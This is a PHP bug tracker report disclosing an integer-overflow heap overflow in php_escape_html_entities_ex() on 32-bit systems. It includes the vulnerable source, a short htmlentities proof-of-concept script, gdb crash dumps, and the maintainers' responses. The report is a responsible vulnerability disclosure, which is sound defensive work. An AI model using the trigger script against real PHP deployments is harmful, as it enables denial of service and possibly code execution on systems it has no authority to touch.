php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73398 Heap overflow due to integer overflow in php_escape_html_entities_ex() function
Submitted: 2016-10-27 03:55 UTC Modified: 2017-02-13 01:00 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 7.1Git-2016-10-27 (Git) OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: bughunter at fosec dot vn
New email:
PHP Version: OS:

 

 [2016-10-27 03:55 UTC] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at php_escape_html_entities_ex() function. php_escape_html_entities_ex() function creates a new zend_string object to store html data. The size of destination string depends on the size of source string. ( reffer at ext/standard/html.c:1272 )


PHPAPI zend_string *php_escape_html_entities_ex(unsigned char *old, size_t oldlen, int all, int flags, char *hint_charset, zend_bool double_encode)
{

...
	/* initial estimate */
	if (oldlen < 64) {
		maxlen = 128;
	} else {
		maxlen = 2 * oldlen;
		if (maxlen < oldlen) {
			zend_throw_error(NULL, "Input string is too long");
			return NULL;
		}
	}

replaced = zend_string_alloc(maxlen, 0);

...
}


If oldlen is equal to PHP_INT_MAX, maxlen will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large html data and lead to heap overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and control eip register to the arbitrary value. Finally, the overflow results as arbitrary code execution. This bug is only triggered in 32bit machine.

Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc. 

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat("A", PHP_INT_MAX);
htmlentities($s, 0, "", true);
?>

Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file ext/standard/html.c:1269.
When debugger stops, we have oldlen=0x7fffffff. Because oldlen is bigger than 0x64, maxlen is equal to twice oldlen. maxlen is equal to 0xfffffffe. 

 [----------------------------------registers-----------------------------------]
EAX: 0xfffffffe
EBX: 0x1
ECX: 0x10
EDX: 0x5
ESI: 0xb7814100 --> 0x2
EDI: 0xfffffffe
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826e37a (<php_escape_html_entities_ex+442>:      call   0x82fc010 <_emalloc>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x826e371 <php_escape_html_entities_ex+433>: mov    edi,DWORD PTR [ebp-0x34]
   0x826e374 <php_escape_html_entities_ex+436>: lea    ecx,[edi+0x14]
   0x826e377 <php_escape_html_entities_ex+439>: and    ecx,0xfffffffc
=> 0x826e37a <php_escape_html_entities_ex+442>: call   0x82fc010 <_emalloc>
   0x826e37f <php_escape_html_entities_ex+447>: mov    esi,eax
   0x826e381 <php_escape_html_entities_ex+449>: mov    DWORD PTR [eax],0x1
   0x826e387 <php_escape_html_entities_ex+455>: mov    DWORD PTR [eax+0x4],0x6
   0x826e38e <php_escape_html_entities_ex+462>: mov    DWORD PTR [eax+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>:  pop    ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>:  add    ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>:  mov    eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0826e37a      122             zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$



The size which is used as parameter in _emalloc() function is equal to ((oldlen * 2 + 0x14 ) & 0xfffffffc). Due to integer overflow, if oldlen is equal to 0x7fffffff, this size is 0x10. The new memory region is too small to store a large string! 

if we continue running, other memory region will be overwritten until SIGSEGV!

 [----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x199fa0
ECX: 0x37599fb0 ('A' <repeats 200 times>...)
EDX: 0x3
ESI: 0x199fa1
EDI: 0xb7866050 --> 0x1
EBP: 0xbfffbf68 --> 0xbfffbfb8 --> 0xbfffc084 --> 0x0
ESP: 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
EIP: 0x826eaf1 (<php_escape_html_entities_ex+2353>:     mov    BYTE PTR [edi+ebx*1+0x10],al)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x826eae8 <php_escape_html_entities_ex+2344>:        mov    ebx,DWORD PTR [ebp-0x38]
   0x826eaeb <php_escape_html_entities_ex+2347>:        movzx  eax,BYTE PTR [ecx]
   0x826eaee <php_escape_html_entities_ex+2350>:        mov    esi,DWORD PTR [ebp-0x30]
=> 0x826eaf1 <php_escape_html_entities_ex+2353>:        mov    BYTE PTR [edi+ebx*1+0x10],al
   0x826eaf5 <php_escape_html_entities_ex+2357>:        lea    eax,[ebx+0x1]
   0x826eaf8 <php_escape_html_entities_ex+2360>:        mov    DWORD PTR [ebp-0x38],eax
   0x826eafb <php_escape_html_entities_ex+2363>:        jmp    0x826e810 <php_escape_html_entities_ex+1616>
   0x826eb00 <php_escape_html_entities_ex+2368>:        test   BYTE PTR [ebp+0x14],0x2
[------------------------------------stack-------------------------------------]
0000| 0xbfffbee0 --> 0x80001000 ('A' <repeats 200 times>...)
0004| 0xbfffbee4 --> 0xb7ce07e9 (<madvise+25>:  pop    ebx)
0008| 0xbfffbee8 --> 0xb7ce07f7 (<madvise+39>:  add    ecx,0xc7809)
0012| 0xbfffbeec --> 0x82f9774 (<zend_mm_chunk_alloc_int+100>:  mov    eax,esi)
0016| 0xbfffbef0 --> 0x37400000 --> 0x2
0020| 0xbfffbef4 --> 0x80001000 ('A' <repeats 200 times>...)
0024| 0xbfffbef8 --> 0xe
0028| 0xbfffbefc --> 0x88dd0c0 --> 0x88dd0f8 --> 0x2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0826eaf1 in php_escape_html_entities_ex (old=0x37400010 'A' <repeats 200 times>..., oldlen=0x7fffffff, all=<optimized out>, all@entry=0x1, flags=0x0, hint_charset=0x88cce38 "",
    double_encode=double_encode@entry=0x1) at /root/fuzzer/PHP-7.1/ext/standard/html.c:1378
1378                                            ZSTR_VAL(replaced)[len++] = mbsequence[0];
gdb-peda$

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:48 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-11-18 04:10 UTC] bughunter at fosec dot vn
I have tested the test script with the newest php version today (commit b2b63ce993f71ccb66e0cbac5715c3186a853f8c) and php still crashes. Please recheck this issue and re-test the script which I provided.
 [2017-02-13 01:00 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Fri Jul 04 20:01:35 2025 UTC